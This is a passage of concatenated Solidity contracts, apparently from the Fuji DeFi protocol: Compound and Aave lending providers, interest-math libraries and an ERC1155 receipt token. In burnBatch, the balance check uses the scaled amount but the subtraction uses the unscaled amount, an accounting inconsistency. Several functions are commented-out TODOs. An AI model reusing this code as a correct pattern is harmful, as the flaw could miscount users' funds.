function _exitCollatMarket(address _cTokenAddress) internal {
// Create a reference to the corresponding network Comptroller
IComptroller comptroller = IComptroller(_getComptrollerAddress());
comptroller.exitMarket(_cTokenAddress);
}
}
contract ProviderCompound is IProvider, HelperFunct {
using SafeMath for uint256;
using UniERC20 for IERC20;
//Provider Core Functions
/**
* @dev Deposit ETH/ERC20_Token.
* @param _asset: token address to deposit. (For ETH: 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE)
* @param _amount: token amount to deposit.
*/
function deposit(address _asset, uint256 _amount) external payable override {
//Get cToken address from mapping
address cTokenAddr = IFujiMappings(_getMappingAddr()).addressMapping(_asset);
//Enter and/or ensure collateral market is enacted
_enterCollatMarket(cTokenAddr);
if (_isETH(_asset)) {
// Create a reference to the cToken contract
ICEth cToken = ICEth(cTokenAddr);
//Compound protocol Mints cTokens, ETH method
cToken.mint{ value: _amount }();
} else {
// Create reference to the ERC20 contract
IERC20 erc20token = IERC20(_asset);
// Create a reference to the cToken contract
ICErc20 cToken = ICErc20(cTokenAddr);
//Checks, Vault balance of ERC20 to make deposit
require(erc20token.balanceOf(address(this)) >= _amount, "Not enough Balance");
//Approve to move ERC20tokens
erc20token.uniApprove(address(cTokenAddr), _amount);
// Compound Protocol mints cTokens, trhow error if not
require(cToken.mint(_amount) == 0, "Deposit-failed");
}
}
/**
* @dev Withdraw ETH/ERC20_Token.
* @param _asset: token address to withdraw. (For ETH: 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE)
* @param _amount: token amount to withdraw.
*/
function withdraw(address _asset, uint256 _amount) external payable override {
//Get cToken address from mapping
address cTokenAddr = IFujiMappings(_getMappingAddr()).addressMapping(_asset);
// Create a reference to the corresponding cToken contract
IGenCToken cToken = IGenCToken(cTokenAddr);
//Compound Protocol Redeem Process, throw errow if not.
require(cToken.redeemUnderlying(_amount) == 0, "Withdraw-failed");
}
/**
* @dev Borrow ETH/ERC20_Token.
* @param _asset token address to borrow.(For ETH: 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE)
* @param _amount: token amount to borrow.
*/
function borrow(address _asset, uint256 _amount) external payable override {
//Get cToken address from mapping
address cTokenAddr = IFujiMappings(_getMappingAddr()).addressMapping(_asset);
// Create a reference to the corresponding cToken contract
IGenCToken cToken = IGenCToken(cTokenAddr);
//Enter and/or ensure collateral market is enacted
//_enterCollatMarket(cTokenAddr);
//Compound Protocol Borrow Process, throw errow if not.
require(cToken.borrow(_amount) == 0, "borrow-failed");
}
/**
* @dev Payback borrowed ETH/ERC20_Token.
* @param _asset token address to payback.(For ETH: 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE)
* @param _amount: token amount to payback.
*/
function payback(address _asset, uint256 _amount) external payable override {
//Get cToken address from mapping
address cTokenAddr = IFujiMappings(_getMappingAddr()).addressMapping(_asset);
if (_isETH(_asset)) {
// Create a reference to the corresponding cToken contract
ICEth cToken = ICEth(cTokenAddr);
cToken.repayBorrow{ value: msg.value }();
} else {
// Create reference to the ERC20 contract
IERC20 erc20token = IERC20(_asset);
// Create a reference to the corresponding cToken contract
ICErc20 cToken = ICErc20(cTokenAddr);
// Check there is enough balance to pay
require(erc20token.balanceOf(address(this)) >= _amount, "Not-enough-token");
erc20token.uniApprove(address(cTokenAddr), _amount);
cToken.repayBorrow(_amount);
}
}
/**
* @dev Returns the current borrowing rate (APR) of a ETH/ERC20_Token, in ray(1e27).
* @param _asset: token address to query the current borrowing rate.
*/
function getBorrowRateFor(address _asset) external view override returns (uint256) {
address cTokenAddr = IFujiMappings(_getMappingAddr()).addressMapping(_asset);
//Block Rate transformed for common mantissa for Fuji in ray (1e27), Note: Compound uses base 1e18
uint256 bRateperBlock = (IGenCToken(cTokenAddr).borrowRatePerBlock()).mul(10**9);
// The approximate number of blocks per year that is assumed by the Compound interest rate model
uint256 blocksperYear = 2102400;
return bRateperBlock.mul(blocksperYear);
}
/**
* @dev Returns the borrow balance of a ETH/ERC20_Token.
* @param _asset: token address to query the balance.
*/
function getBorrowBalance(address _asset) external view override returns (uint256) {
address cTokenAddr = IFujiMappings(_getMappingAddr()).addressMapping(_asset);
return IGenCToken(cTokenAddr).borrowBalanceStored(msg.sender);
}
/**
* @dev Return borrow balance of ETH/ERC20_Token.
* This function is the accurate way to get Compound borrow balance.
* It costs ~84K gas and is not a view function.
* @param _asset token address to query the balance.
* @param _who address of the account.
*/
function getBorrowBalanceOf(address _asset, address _who) external override returns (uint256) {
address cTokenAddr = IFujiMappings(_getMappingAddr()).addressMapping(_asset);
return IGenCToken(cTokenAddr).borrowBalanceCurrent(_who);
}
/**
* @dev Returns the deposit balance of a ETH/ERC20_Token.
* @param _asset: token address to query the balance.
*/
function getDepositBalance(address _asset) external view override returns (uint256) {
address cTokenAddr = IFujiMappings(_getMappingAddr()).addressMapping(_asset);
uint256 cTokenBal = IGenCToken(cTokenAddr).balanceOf(msg.sender);
uint256 exRate = IGenCToken(cTokenAddr).exchangeRateStored();
return exRate.mul(cTokenBal).div(1e18);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.4.25 <0.7.0;
pragma experimental ABIEncoderV2;
import { SafeMath } from "@openzeppelin/contracts/math/SafeMath.sol";
import { UniERC20 } from "../Libraries/LibUniERC20.sol";
import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import { IProvider } from "./IProvider.sol";
interface ITokenInterface {
function approve(address, uint256) external;
function transfer(address, uint256) external;
function transferFrom(
address,
address,
uint256
) external;
function deposit() external payable;
function withdraw(uint256) external;
function balanceOf(address) external view returns (uint256);
function decimals() external view returns (uint256);
}
interface IAaveInterface {
function deposit(
address _asset,
uint256 _amount,
address _onBehalfOf,
uint16 _referralCode
) external;
function withdraw(
address _asset,
uint256 _amount,
address _to
) external;
function borrow(
address _asset,
uint256 _amount,
uint256 _interestRateMode,
uint16 _referralCode,
address _onBehalfOf
) external;
function repay(
address _asset,
uint256 _amount,
uint256 _rateMode,
address _onBehalfOf
) external;
function setUserUseReserveAsCollateral(address _asset, bool _useAsCollateral) external;
}
interface AaveLendingPoolProviderInterface {
function getLendingPool() external view returns (address);
}
interface AaveDataProviderInterface {
function getReserveTokensAddresses(address _asset)
external
view
returns (
address aTokenAddress,
address stableDebtTokenAddress,
address variableDebtTokenAddress
);
function getUserReserveData(address _asset, address _user)
external
view
returns (
uint256 currentATokenBalance,
uint256 currentStableDebt,
uint256 currentVariableDebt,
uint256 principalStableDebt,
uint256 scaledVariableDebt,
uint256 stableBorrowRate,
uint256 liquidityRate,
uint40 stableRateLastUpdated,
bool usageAsCollateralEnabled
);
function getReserveData(address _asset)
external
view
returns (
uint256 availableLiquidity,
uint256 totalStableDebt,
uint256 totalVariableDebt,
uint256 liquidityRate,
uint256 variableBorrowRate,
uint256 stableBorrowRate,
uint256 averageStableBorrowRate,
uint256 liquidityIndex,
uint256 variableBorrowIndex,
uint40 lastUpdateTimestamp
);
}
interface AaveAddressProviderRegistryInterface {
function getAddressesProvidersList() external view returns (address[] memory);
}
contract ProviderAave is IProvider {
using SafeMath for uint256;
using UniERC20 for IERC20;
function _getAaveProvider() internal pure returns (AaveLendingPoolProviderInterface) {
return AaveLendingPoolProviderInterface(0xB53C1a33016B2DC2fF3653530bfF1848a515c8c5); //mainnet
}
function _getAaveDataProvider() internal pure returns (AaveDataProviderInterface) {
return AaveDataProviderInterface(0x057835Ad21a177dbdd3090bB1CAE03EaCF78Fc6d); //mainnet
}
function _getWethAddr() internal pure returns (address) {
return 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; // Mainnet WETH Address
}
function _getEthAddr() internal pure returns (address) {
return 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; // ETH Address
}
function _getIsColl(
AaveDataProviderInterface _aaveData,
address _token,
address _user
) internal view returns (bool isCol) {
(, , , , , , , , isCol) = _aaveData.getUserReserveData(_token, _user);
}
function _convertEthToWeth(
bool _isEth,
ITokenInterface _token,
uint256 _amount
) internal {
if (_isEth) _token.deposit{ value: _amount }();
}
function _convertWethToEth(
bool _isEth,
ITokenInterface _token,
uint256 _amount
) internal {
if (_isEth) {
_token.approve(address(_token), _amount);
_token.withdraw(_amount);
}
}
/**
* @dev Return the borrowing rate of ETH/ERC20_Token.
* @param _asset to query the borrowing rate.
*/
function getBorrowRateFor(address _asset) external view override returns (uint256) {
AaveDataProviderInterface aaveData = _getAaveDataProvider();
(, , , , uint256 variableBorrowRate, , , , , ) =
AaveDataProviderInterface(aaveData).getReserveData(
_asset == _getEthAddr() ? _getWethAddr() : _asset
);
return variableBorrowRate;
}
/**
* @dev Return borrow balance of ETH/ERC20_Token.
* @param _asset token address to query the balance.
*/
function getBorrowBalance(address _asset) external view override returns (uint256) {
AaveDataProviderInterface aaveData = _getAaveDataProvider();
bool isEth = _asset == _getEthAddr();
address _token = isEth ? _getWethAddr() : _asset;
(, , uint256 variableDebt, , , , , , ) = aaveData.getUserReserveData(_token, msg.sender);
return variableDebt;
}
/**
* @dev Return borrow balance of ETH/ERC20_Token.
* @param _asset token address to query the balance.
* @param _who address of the account.
*/
function getBorrowBalanceOf(address _asset, address _who) external override returns (uint256) {
AaveDataProviderInterface aaveData = _getAaveDataProvider();
bool isEth = _asset == _getEthAddr();
address _token = isEth ? _getWethAddr() : _asset;
(, , uint256 variableDebt, , , , , , ) = aaveData.getUserReserveData(_token, _who);
return variableDebt;
}
/**
* @dev Return deposit balance of ETH/ERC20_Token.
* @param _asset token address to query the balance.
*/
function getDepositBalance(address _asset) external view override returns (uint256) {
AaveDataProviderInterface aaveData = _getAaveDataProvider();
bool isEth = _asset == _getEthAddr();
address _token = isEth ? _getWethAddr() : _asset;
(uint256 atokenBal, , , , , , , , ) = aaveData.getUserReserveData(_token, msg.sender);
return atokenBal;
}
/**
* @dev Deposit ETH/ERC20_Token.
* @param _asset token address to deposit.(For ETH: 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE)
* @param _amount token amount to deposit.
*/
function deposit(address _asset, uint256 _amount) external payable override {
IAaveInterface aave = IAaveInterface(_getAaveProvider().getLendingPool());
AaveDataProviderInterface aaveData = _getAaveDataProvider();
bool isEth = _asset == _getEthAddr();
address _token = isEth ? _getWethAddr() : _asset;
ITokenInterface tokenContract = ITokenInterface(_token);
if (isEth) {
_amount = _amount == uint256(-1) ? address(this).balance : _amount;
_convertEthToWeth(isEth, tokenContract, _amount);
} else {
_amount = _amount == uint256(-1) ? tokenContract.balanceOf(address(this)) : _amount;
}
tokenContract.approve(address(aave), _amount);
aave.deposit(_token, _amount, address(this), 0);
if (!_getIsColl(aaveData, _token, address(this))) {
aave.setUserUseReserveAsCollateral(_token, true);
}
}
/**
* @dev Borrow ETH/ERC20_Token.
* @param _asset token address to borrow.(For ETH: 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE)
* @param _amount token amount to borrow.
*/
function borrow(address _asset, uint256 _amount) external payable override {
IAaveInterface aave = IAaveInterface(_getAaveProvider().getLendingPool());
bool isEth = _asset == _getEthAddr();
address _token = isEth ? _getWethAddr() : _asset;
aave.borrow(_token, _amount, 2, 0, address(this));
_convertWethToEth(isEth, ITokenInterface(_token), _amount);
}
/**
* @dev Withdraw ETH/ERC20_Token.
* @param _asset token address to withdraw.
* @param _amount token amount to withdraw.
*/
function withdraw(address _asset, uint256 _amount) external payable override {
IAaveInterface aave = IAaveInterface(_getAaveProvider().getLendingPool());
bool isEth = _asset == _getEthAddr();
address _token = isEth ? _getWethAddr() : _asset;
ITokenInterface tokenContract = ITokenInterface(_token);
uint256 initialBal = tokenContract.balanceOf(address(this));
aave.withdraw(_token, _amount, address(this));
uint256 finalBal = tokenContract.balanceOf(address(this));
_amount = finalBal.sub(initialBal);
_convertWethToEth(isEth, tokenContract, _amount);
}
/**
* @dev Payback borrowed ETH/ERC20_Token.
* @param _asset token address to payback.
* @param _amount token amount to payback.
*/
function payback(address _asset, uint256 _amount) external payable override {
IAaveInterface aave = IAaveInterface(_getAaveProvider().getLendingPool());
AaveDataProviderInterface aaveData = _getAaveDataProvider();
bool isEth = _asset == _getEthAddr();
address _token = isEth ? _getWethAddr() : _asset;
ITokenInterface tokenContract = ITokenInterface(_token);
(, , uint256 variableDebt, , , , , , ) = aaveData.getUserReserveData(_token, address(this));
_amount = _amount == uint256(-1) ? variableDebt : _amount;
if (isEth) _convertEthToWeth(isEth, tokenContract, _amount);
tokenContract.approve(address(aave), _amount);
aave.repay(_token, _amount, 2, address(this));
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
import { SafeMath } from "@openzeppelin/contracts/math/SafeMath.sol";
import { WadRayMath } from "./WadRayMath.sol";
library MathUtils {
using SafeMath for uint256;
using WadRayMath for uint256;
/// @dev Ignoring leap years
uint256 internal constant _SECONDS_PER_YEAR = 365 days;
/**
* @dev Function to calculate the interest accumulated using a linear interest rate formula
* @param rate The interest rate, in ray
* @param lastUpdateTimestamp The timestamp of the last update of the interest
* @return The interest rate linearly accumulated during the timeDelta, in ray
**/
function calculateLinearInterest(uint256 rate, uint40 lastUpdateTimestamp)
internal
view
returns (uint256)
{
//solhint-disable-next-line
uint256 timeDifference = block.timestamp.sub(uint256(lastUpdateTimestamp));
return (rate.mul(timeDifference) / _SECONDS_PER_YEAR).add(WadRayMath.ray());
}
/**
* @dev Function to calculate the interest using a compounded interest rate formula
* To avoid expensive exponentiation, the calculation is performed using a binomial approximation:
*
* (1+x)^n = 1+n*x+[n/2*(n-1)]*x^2+[n/6*(n-1)*(n-2)*x^3...
*
* The approximation slightly underpays liquidity providers and undercharges borrowers, with the advantage of great gas cost reductions
* The whitepaper contains reference to the approximation and a table showing the margin of error per different time periods
*
* @param rate The interest rate, in ray
* @param lastUpdateTimestamp The timestamp of the last update of the interest
* @return The interest rate compounded during the timeDelta, in ray
**/
function calculateCompoundedInterest(
uint256 rate,
uint40 lastUpdateTimestamp,
uint256 currentTimestamp
) internal pure returns (uint256) {
//solhint-disable-next-line
uint256 exp = currentTimestamp.sub(uint256(lastUpdateTimestamp));
if (exp == 0) {
return WadRayMath.ray();
}
uint256 expMinusOne = exp - 1;
uint256 expMinusTwo = exp > 2 ? exp - 2 : 0;
uint256 ratePerSecond = rate / _SECONDS_PER_YEAR;
uint256 basePowerTwo = ratePerSecond.rayMul(ratePerSecond);
uint256 basePowerThree = basePowerTwo.rayMul(ratePerSecond);
uint256 secondTerm = exp.mul(expMinusOne).mul(basePowerTwo) / 2;
uint256 thirdTerm = exp.mul(expMinusOne).mul(expMinusTwo).mul(basePowerThree) / 6;
return WadRayMath.ray().add(ratePerSecond.mul(exp)).add(secondTerm).add(thirdTerm);
}
/**
* @dev Calculates the compounded interest between the timestamp of the last update and the current block timestamp
* @param rate The interest rate (in ray)
* @param lastUpdateTimestamp The timestamp from which the interest accumulation needs to be calculated
**/
function calculateCompoundedInterest(uint256 rate, uint40 lastUpdateTimestamp)
internal
view
returns (uint256)
{
//solhint-disable-next-line
return calculateCompoundedInterest(rate, lastUpdateTimestamp, block.timestamp);
}
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity 0.6.12;
import { Errors } from "./Errors.sol";
/**
* @title WadRayMath library
* @author Aave
* @dev Provides mul and div function for wads (decimal numbers with 18 digits precision) and rays (decimals with 27 digits)
**/
library WadRayMath {
uint256 internal constant _WAD = 1e18;
uint256 internal constant _HALF_WAD = _WAD / 2;
uint256 internal constant _RAY = 1e27;
uint256 internal constant _HALF_RAY = _RAY / 2;
uint256 internal constant _WAD_RAY_RATIO = 1e9;
/**
* @return One ray, 1e27
**/
function ray() internal pure returns (uint256) {
return _RAY;
}
/**
* @return One wad, 1e18
**/
function wad() internal pure returns (uint256) {
return _WAD;
}
/**
* @return Half ray, 1e27/2
**/
function halfRay() internal pure returns (uint256) {
return _HALF_RAY;
}
/**
* @return Half ray, 1e18/2
**/
function halfWad() internal pure returns (uint256) {
return _HALF_WAD;
}
/**
* @dev Multiplies two wad, rounding half up to the nearest wad
* @param a Wad
* @param b Wad
* @return The result of a*b, in wad
**/
function wadMul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0 || b == 0) {
return 0;
}
require(a <= (type(uint256).max - _HALF_WAD) / b, Errors.MATH_MULTIPLICATION_OVERFLOW);
return (a * b + _HALF_WAD) / _WAD;
}
/**
* @dev Divides two wad, rounding half up to the nearest wad
* @param a Wad
* @param b Wad
* @return The result of a/b, in wad
**/
function wadDiv(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, Errors.MATH_DIVISION_BY_ZERO);
uint256 halfB = b / 2;
require(a <= (type(uint256).max - halfB) / _WAD, Errors.MATH_MULTIPLICATION_OVERFLOW);
return (a * _WAD + halfB) / b;
}
/**
* @dev Multiplies two ray, rounding half up to the nearest ray
* @param a Ray
* @param b Ray
* @return The result of a*b, in ray
**/
function rayMul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0 || b == 0) {
return 0;
}
require(a <= (type(uint256).max - _HALF_RAY) / b, Errors.MATH_MULTIPLICATION_OVERFLOW);
return (a * b + _HALF_RAY) / _RAY;
}
/**
* @dev Divides two ray, rounding half up to the nearest ray
* @param a Ray
* @param b Ray
* @return The result of a/b, in ray
**/
function rayDiv(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, Errors.MATH_DIVISION_BY_ZERO);
uint256 halfB = b / 2;
require(a <= (type(uint256).max - halfB) / _RAY, Errors.MATH_MULTIPLICATION_OVERFLOW);
return (a * _RAY + halfB) / b;
}
/**
* @dev Casts ray down to wad
* @param a Ray
* @return a casted to wad, rounded half up to the nearest wad
**/
function rayToWad(uint256 a) internal pure returns (uint256) {
uint256 halfRatio = _WAD_RAY_RATIO / 2;
uint256 result = halfRatio + a;
require(result >= halfRatio, Errors.MATH_ADDITION_OVERFLOW);
return result / _WAD_RAY_RATIO;
}
/**
* @dev Converts wad up to ray
* @param a Wad
* @return a converted in ray
**/
function wadToRay(uint256 a) internal pure returns (uint256) {
uint256 result = a * _WAD_RAY_RATIO;
require(result / _WAD_RAY_RATIO == a, Errors.MATH_MULTIPLICATION_OVERFLOW);
return result;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.12;
pragma experimental ABIEncoderV2;
import { IFujiERC1155 } from "./IFujiERC1155.sol";
import { FujiBaseERC1155 } from "./FujiBaseERC1155.sol";
import { Ownable } from "@openzeppelin/contracts/access/Ownable.sol";
import { WadRayMath } from "../Libraries/WadRayMath.sol";
import { MathUtils } from "../Libraries/MathUtils.sol";
import { Errors } from "../Libraries/Errors.sol";
import { Address } from "@openzeppelin/contracts/utils/Address.sol";
contract F1155Manager is Ownable {
using Address for address;
// Controls for Mint-Burn Operations
mapping(address => bool) public addrPermit;
modifier onlyPermit() {
require(addrPermit[_msgSender()] || msg.sender == owner(), Errors.VL_NOT_AUTHORIZED);
_;
}
function setPermit(address _address, bool _permit) public onlyOwner {
require((_address).isContract(), Errors.VL_NOT_A_CONTRACT);
addrPermit[_address] = _permit;
}
}
contract FujiERC1155 is IFujiERC1155, FujiBaseERC1155, F1155Manager {
using WadRayMath for uint256;
//FujiERC1155 Asset ID Mapping
//AssetType => asset reference address => ERC1155 Asset ID
mapping(AssetType => mapping(address => uint256)) public assetIDs;
//Control mapping that returns the AssetType of an AssetID
mapping(uint256 => AssetType) public assetIDtype;
uint64 public override qtyOfManagedAssets;
//Asset ID Liquidity Index mapping
//AssetId => Liquidity index for asset ID
mapping(uint256 => uint256) public indexes;
// Optimizer Fee expressed in Ray, where 1 ray = 100% APR
//uint256 public optimizerFee;
//uint256 public lastUpdateTimestamp;
//uint256 public fujiIndex;
/// @dev Ignoring leap years
//uint256 internal constant SECONDS_PER_YEAR = 365 days;
constructor() public {
//fujiIndex = WadRayMath.ray();
//optimizerFee = 1e24;
}
/**
* @dev Updates Index of AssetID
* @param _assetID: ERC1155 ID of the asset which state will be updated.
* @param newBalance: Amount
**/
function updateState(uint256 _assetID, uint256 newBalance) external override onlyPermit {
uint256 total = totalSupply(_assetID);
if (newBalance > 0 && total > 0 && newBalance > total) {
uint256 diff = newBalance.sub(total);
uint256 amountToIndexRatio = (diff.wadToRay()).rayDiv(total.wadToRay());
uint256 result = amountToIndexRatio.add(WadRayMath.ray());
result = result.rayMul(indexes[_assetID]);
require(result <= type(uint128).max, Errors.VL_INDEX_OVERFLOW);
indexes[_assetID] = uint128(result);
// TODO: calculate interest rate for a fujiOptimizer Fee.
/*
if(lastUpdateTimestamp==0){
lastUpdateTimestamp = block.timestamp;
}
uint256 accrued = _calculateCompoundedInterest(
optimizerFee,
lastUpdateTimestamp,
block.timestamp
).rayMul(fujiIndex);
fujiIndex = accrued;
lastUpdateTimestamp = block.timestamp;
*/
}
}
/**
* @dev Returns the total supply of Asset_ID with accrued interest.
* @param _assetID: ERC1155 ID of the asset which state will be updated.
**/
function totalSupply(uint256 _assetID) public view virtual override returns (uint256) {
// TODO: include interest accrued by Fuji OptimizerFee
return super.totalSupply(_assetID).rayMul(indexes[_assetID]);
}
/**
* @dev Returns the scaled total supply of the token ID. Represents sum(token ID Principal /index)
* @param _assetID: ERC1155 ID of the asset which state will be updated.
**/
function scaledTotalSupply(uint256 _assetID) public view virtual returns (uint256) {
return super.totalSupply(_assetID);
}
/**
* @dev Returns the principal + accrued interest balance of the user
* @param _account: address of the User
* @param _assetID: ERC1155 ID of the asset which state will be updated.
**/
function balanceOf(address _account, uint256 _assetID)
public
view
override(FujiBaseERC1155, IFujiERC1155)
returns (uint256)
{
uint256 scaledBalance = super.balanceOf(_account, _assetID);
if (scaledBalance == 0) {
return 0;
}
// TODO: include interest accrued by Fuji OptimizerFee
return scaledBalance.rayMul(indexes[_assetID]);
}
/**
* @dev Returns the balance of User, split into owed amounts to BaseProtocol and FujiProtocol
* @param _account: address of the User
* @param _assetID: ERC1155 ID of the asset which state will be updated.
**/
/*
function splitBalanceOf(
address _account,
uint256 _assetID
) public view override returns (uint256,uint256) {
uint256 scaledBalance = super.balanceOf(_account, _assetID);
if (scaledBalance == 0) {
return (0,0);
} else {
TO DO COMPUTATION
return (baseprotocol, fuji);
}
}
*/
/**
* @dev Returns Scaled Balance of the user (e.g. balance/index)
* @param _account: address of the User
* @param _assetID: ERC1155 ID of the asset which state will be updated.
**/
function scaledBalanceOf(address _account, uint256 _assetID)
public
view
virtual
returns (uint256)
{
return super.balanceOf(_account, _assetID);
}
/**
* @dev Returns the sum of balance of the user for an AssetType.
* This function is used for when AssetType have units of account of the same value (e.g stablecoins)
* @param _account: address of the User
* @param _type: enum AssetType, 0 = Collateral asset, 1 = debt asset
**/
/*
function balanceOfBatchType(address _account, AssetType _type) external view override returns (uint256 total) {
uint256[] memory IDs = engagedIDsOf(_account, _type);
for(uint i; i < IDs.length; i++ ){
total = total.add(balanceOf(_account, IDs[i]));
}
}
*/
/**
* @dev Mints tokens for Collateral and Debt receipts for the Fuji Protocol
* Emits a {TransferSingle} event.
* Requirements:
* - `_account` cannot be the zero address.
* - If `account` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
* - `_amount` should be in WAD
*/
function mint(
address _account,
uint256 _id,
uint256 _amount,
bytes memory _data
) external override onlyPermit {
require(_account != address(0), Errors.VL_ZERO_ADDR_1155);
address operator = _msgSender();
uint256 accountBalance = _balances[_id][_account];
uint256 assetTotalBalance = _totalSupply[_id];
uint256 amountScaled = _amount.rayDiv(indexes[_id]);
require(amountScaled != 0, Errors.VL_INVALID_MINT_AMOUNT);
_balances[_id][_account] = accountBalance.add(amountScaled);
_totalSupply[_id] = assetTotalBalance.add(amountScaled);
emit TransferSingle(operator, address(0), _account, _id, _amount);
_doSafeTransferAcceptanceCheck(operator, address(0), _account, _id, _amount, _data);
}
/**
* @dev [Batched] version of {mint}.
* Requirements:
* - `_ids` and `_amounts` must have the same length.
* - If `_to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the
* acceptance magic value.
*/
function mintBatch(
address _to,
uint256[] memory _ids,
uint256[] memory _amounts,
bytes memory _data
) external onlyPermit {
require(_to != address(0), Errors.VL_ZERO_ADDR_1155);
require(_ids.length == _amounts.length, Errors.VL_INPUT_ERROR);
address operator = _msgSender();
uint256 accountBalance;
uint256 assetTotalBalance;
uint256 amountScaled;
for (uint256 i = 0; i < _ids.length; i++) {
accountBalance = _balances[_ids[i]][_to];
assetTotalBalance = _totalSupply[_ids[i]];
amountScaled = _amounts[i].rayDiv(indexes[_ids[i]]);
require(amountScaled != 0, Errors.VL_INVALID_MINT_AMOUNT);
_balances[_ids[i]][_to] = accountBalance.add(amountScaled);
_totalSupply[_ids[i]] = assetTotalBalance.add(amountScaled);
}
emit TransferBatch(operator, address(0), _to, _ids, _amounts);
_doSafeBatchTransferAcceptanceCheck(operator, address(0), _to, _ids, _amounts, _data);
}
/**
* @dev Destroys `_amount` receipt tokens of token type `_id` from `account` for the Fuji Protocol
* Requirements:
* - `account` cannot be the zero address.
* - `account` must have at least `_amount` tokens of token type `_id`.
* - `_amount` should be in WAD
*/
function burn(
address _account,
uint256 _id,
uint256 _amount
) external override onlyPermit {
require(_account != address(0), Errors.VL_ZERO_ADDR_1155);
address operator = _msgSender();
uint256 accountBalance = _balances[_id][_account];
uint256 assetTotalBalance = _totalSupply[_id];
uint256 amountScaled = _amount.rayDiv(indexes[_id]);
require(amountScaled != 0 && accountBalance >= amountScaled, Errors.VL_INVALID_BURN_AMOUNT);
_balances[_id][_account] = accountBalance.sub(amountScaled);
_totalSupply[_id] = assetTotalBalance.sub(amountScaled);
emit TransferSingle(operator, _account, address(0), _id, _amount);
}
/**
* @dev [Batched] version of {burn}.
* Requirements:
* - `_ids` and `_amounts` must have the same length.
*/
function burnBatch(
address _account,
uint256[] memory _ids,
uint256[] memory _amounts
) external onlyPermit {
require(_account != address(0), Errors.VL_ZERO_ADDR_1155);
require(_ids.length == _amounts.length, Errors.VL_INPUT_ERROR);
address operator = _msgSender();
uint256 accountBalance;
uint256 assetTotalBalance;
uint256 amountScaled;
for (uint256 i = 0; i < _ids.length; i++) {
uint256 amount = _amounts[i];
accountBalance = _balances[_ids[i]][_account];
assetTotalBalance = _totalSupply[_ids[i]];
amountScaled = _amounts[i].rayDiv(indexes[_ids[i]]);
require(amountScaled != 0 && accountBalance >= amountScaled, Errors.VL_INVALID_BURN_AMOUNT);
_balances[_ids[i]][_account] = accountBalance.sub(amount);
_totalSupply[_ids[i]] = assetTotalBalance.sub(amount);
}
emit TransferBatch(operator, _account, address(0), _ids, _amounts);
}
//Getter Functions
/**
* @dev Getter Function for the Asset ID locally managed
* @param _type: enum AssetType, 0 = Collateral asset, 1 = debt asset
* @param _addr: Reference Address of the Asset
*/
function getAssetID(AssetType _type, address _addr) external view override returns (uint256 id) {
id = assetIDs[_type][_addr];
require(id <= qtyOfManagedAssets, Errors.VL_INVALID_ASSETID_1155);
}
//Setter Functions
/**
* @dev Sets the FujiProtocol Fee to be charged
* @param _fee; Fee in Ray(1e27) to charge users for optimizerFee (1 ray = 100% APR)
*/
/*
function setoptimizerFee(uint256 _fee) public onlyOwner {
require(_fee >= WadRayMath.ray(), Errors.VL_OPTIMIZER_FEE_SMALL);
optimizerFee = _fee;
}
*/
/**
* @dev Sets a new URI for all token types, by relying on the token type ID
*/
function setURI(string memory _newUri) public onlyOwner {
_uri = _newUri;
}
/**
* @dev Adds and initializes liquidity index of a new asset in FujiERC1155
* @param _type: enum AssetType, 0 = Collateral asset, 1 = debt asset
* @param _addr: Reference Address of the Asset
*/
function addInitializeAsset(AssetType _type, address _addr)
external
override
onlyPermit
returns (uint64)
{
require(assetIDs[_type][_addr] == 0, Errors.VL_ASSET_EXISTS);
assetIDs[_type][_addr] = qtyOfManagedAssets;
assetIDtype[qtyOfManagedAssets] = _type;
//Initialize the liquidity Index
indexes[qtyOfManagedAssets] = WadRayMath.ray();
qtyOfManagedAssets++;
return qtyOfManagedAssets - 1;
}
/**
* @dev Function to calculate the interest using a compounded interest rate formula
* To avoid expensive exponentiation, the calculation is performed using a binomial approximation:
*
* (1+x)^n = 1+n*x+[n/2*(n-1)]*x^2+[n/6*(n-1)*(n-2)*x^3...
*
* The approximation slightly underpays liquidity providers and undercharges borrowers, with the advantage of great gas cost reductions
* The whitepaper contains reference to the approximation and a table showing the margin of error per different time periods
*
* @param _rate The interest rate, in ray
* @param _lastUpdateTimestamp The timestamp of the last update of the interest
* @return The interest rate compounded during the timeDelta, in ray
**/
/*
function _calculateCompoundedInterest(
uint256 _rate,
uint256 _lastUpdateTimestamp,
uint256 currentTimestamp
) internal pure returns (uint256) {
//solium-disable-next-line
uint256 exp = currentTimestamp.sub(uint256(_lastUpdateTimestamp));
if (exp == 0) {
return WadRayMath.ray();
}
uint256 expMinusOne = exp - 1;
uint256 expMinusTwo = exp > 2 ? exp - 2 : 0;
uint256 ratePerSecond = _rate / SECONDS_PER_YEAR;
uint256 basePowerTwo = ratePerSecond.rayMul(ratePerSecond);
uint256 basePowerThree = basePowerTwo.rayMul(ratePerSecond);
uint256 secondTerm = exp.mul(expMinusOne).mul(basePowerTwo) / 2;
uint256 thirdTerm = exp.mul(expMinusOne).mul(expMinusTwo).mul(basePowerThree) / 6;
return WadRayMath.ray().add(ratePerSecond.mul(exp)).add(secondTerm).add(thirdTerm);
}
*/
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.12;
pragma experimental ABIEncoderV2;
import { IERC1155 } from "@openzeppelin/contracts/token/ERC1155/IERC1155.sol";
